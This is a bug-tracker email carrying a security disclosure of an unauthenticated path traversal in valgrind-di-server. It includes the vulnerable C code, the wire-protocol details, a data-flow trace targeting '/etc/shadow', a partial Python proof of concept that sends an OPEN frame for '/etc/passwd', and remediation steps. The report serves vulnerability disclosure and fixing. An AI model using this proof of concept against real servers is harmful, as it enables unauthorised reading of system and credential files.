https://bugs.kde.org/show_bug.cgi?id=528432

            Bug ID: 528432
           Summary: Path Traversal in valgrind-di-server Allows
                    Unauthenticated Arbitrary File Read
    Classification: Developer tools
           Product: valgrind
      Version First unspecified
       Reported In:
          Platform: Other
                OS: All
            Status: REPORTED
          Severity: grave
          Priority: NOR
         Component: general
          Assignee: [email protected]
          Reporter: [email protected]
  Target Milestone: ---

# Path Traversal in valgrind-di-server Allows Unauthenticated Arbitrary File
Read

**Product:** Valgrind
**Version:** HEAD (0ff27aa), all versions since initial di-server commit
(68c940393, 2013)
**Component:** auxprogs/valgrind-di-server.c
**CWE:** CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
**CVSS 3.1:** 7.5 (High) - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
**Auth Required:** None (unauthenticated network access to port 1500)

## Summary

The Valgrind debug info server (`valgrind-di-server`) accepts a filename from
unauthenticated network clients via the OPEN protocol frame and passes it
directly to `open()` without any path validation. An attacker with network
access to the server's listening port (default TCP 1500, bound to INADDR_ANY)
can read any file readable by the server process by sending a crafted OPEN
frame containing an absolute path or path traversal sequences.

## Environment

- Valgrind HEAD commit 0ff27aa (sourceware.org/git/valgrind.git)
- All versions since initial di-server implementation (commit 68c940393, circa
2013)
- `valgrind-di-server` is installed as a bin_PROGRAM (Makefile.am line 48)
- Default listening port: TCP 1500 (INADDR_ANY -- all interfaces)

## Vulnerable Code

In `auxprogs/valgrind-di-server.c`, the OPEN frame handler at line 753-794:

```c
   if (parse_Frame_asciiz(req, "OPEN", &filename)) {
      Bool ok = True;
      int  fd = 0;
      if (conn_state[conn_no].file_fd != 0) {
         res = mk_Frame_asciiz("FAIL", "OPEN: already connected to file");
         ok = False;
      }
      if (ok) {
         assert(clo_serverpath);
         fd = open((char*)filename, O_RDONLY);    // <-- LINE 762: NO PATH
VALIDATION
```

The `filename` variable is extracted from the client's network frame by
`parse_Frame_asciiz()` and passed directly to `open()`. There is:

- No check for absolute paths (e.g., `/etc/shadow`)
- No check for path traversal sequences (e.g., `../../../etc/passwd`)
- No restriction to the configured `clo_serverpath` directory
- No authentication or authorization mechanism
- No encryption (adler32 checksum is trivially computable)

The `clo_serverpath` variable (line 120, default ".") is asserted non-NULL at
line 761 but **never used** to construct or validate the path. The intent was
clearly to restrict file access to a directory, but the implementation is
missing.

## Client-Side Check is Insufficient

The Valgrind client-side code (`coregrind/m_debuginfo/image.c` line 1012-1014)
does check for slashes:

```c
   /* The filename must be a plain filename -- no slashes at all. */
   if (VG_(strchr)(filename, '/') != NULL)
      return NULL;
```

However, this check is only in the **client**. An attacker bypasses the client
entirely and sends crafted protocol frames directly to the server socket. The
server-side `parse_Frame_asciiz()` only validates NUL-termination (line 454),
not path content.

## Protocol Details

The wire protocol uses a simple frame format:
1. 8-byte header: 4-byte adler32 checksum + 4-byte length (little-endian)
2. Frame data: 4-byte ASCII tag + payload

For OPEN: tag = "OPEN", payload = NUL-terminated filename string.

After a successful OPEN, the client sends READ frames with (session_id, offset,
length) to retrieve file contents. The server reads the file with `pread()` and
returns the data LZO-compressed.

## Data Flow

```
Attacker -> TCP 1500 -> frame header (adler32 + len) -> frame data ("OPEN" +
"/etc/shadow\0")
                     -> parse_Frame_asciiz(req, "OPEN", &filename)
                     -> open((char*)filename, O_RDONLY)   [NO PATH CHECK]
                     -> fstat() for file size
                     -> response: session_id + file_size

Attacker -> TCP 1500 -> "READ" + session_id + offset=0 + length=file_size
                     -> pread(fd, buf, length, offset)
                     -> LZO compress
                     -> response: compressed file contents
```

## Impact

- **Confidentiality:** An unauthenticated remote attacker can read any file on
the system that is readable by the valgrind-di-server process (typically
running as the user who started it)
- **Scope:** All sensitive files readable by the process owner, including SSH
keys, configuration files, application secrets, and potentially credential
files
- **Network exposure:** Server binds to INADDR_ANY (all interfaces) by default
- **No authentication:** The protocol uses only adler32 checksums (trivially
computable, not cryptographic)

## PoC Concept

```python
import socket
import struct

def adler32(data):
    a, b = 1, 0
    for byte in data:
        a = (a + byte) % 65521
        b = (b + a) % 65521
    return (b << 16) | a

def mk_frame(tag, payload=b""):
    data = tag.encode() + payload
    length = len(data)
    length_bytes = struct.pack("<I", length)
    checksum_input = length_bytes + data
    chk = adler32(checksum_input)
    header = struct.pack("<II", chk, length)
    return header + data

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("TARGET", 1500))

# Send OPEN frame with path traversal
sock.send(mk_frame("OPEN", b"/etc/passwd\x00"))
# ... recv response, parse session_id and file_size ...

# Send READ frame to retrieve file contents
# sock.send(mk_frame_le64x3("READ", session_id, 0, file_size))
# ... recv LZO-compressed file contents ...
```

## Remediation

The server should:
1. Reject filenames containing `/` or `..` (matching the client-side check)
2. Resolve the filename relative to `clo_serverpath` using `realpath()` and
verify the result is within the allowed directory
3. Consider adding authentication (e.g., a shared secret token in the VERS
handshake)

-- 
You are receiving this mail because:
You are watching all bug changes.

Reply via email to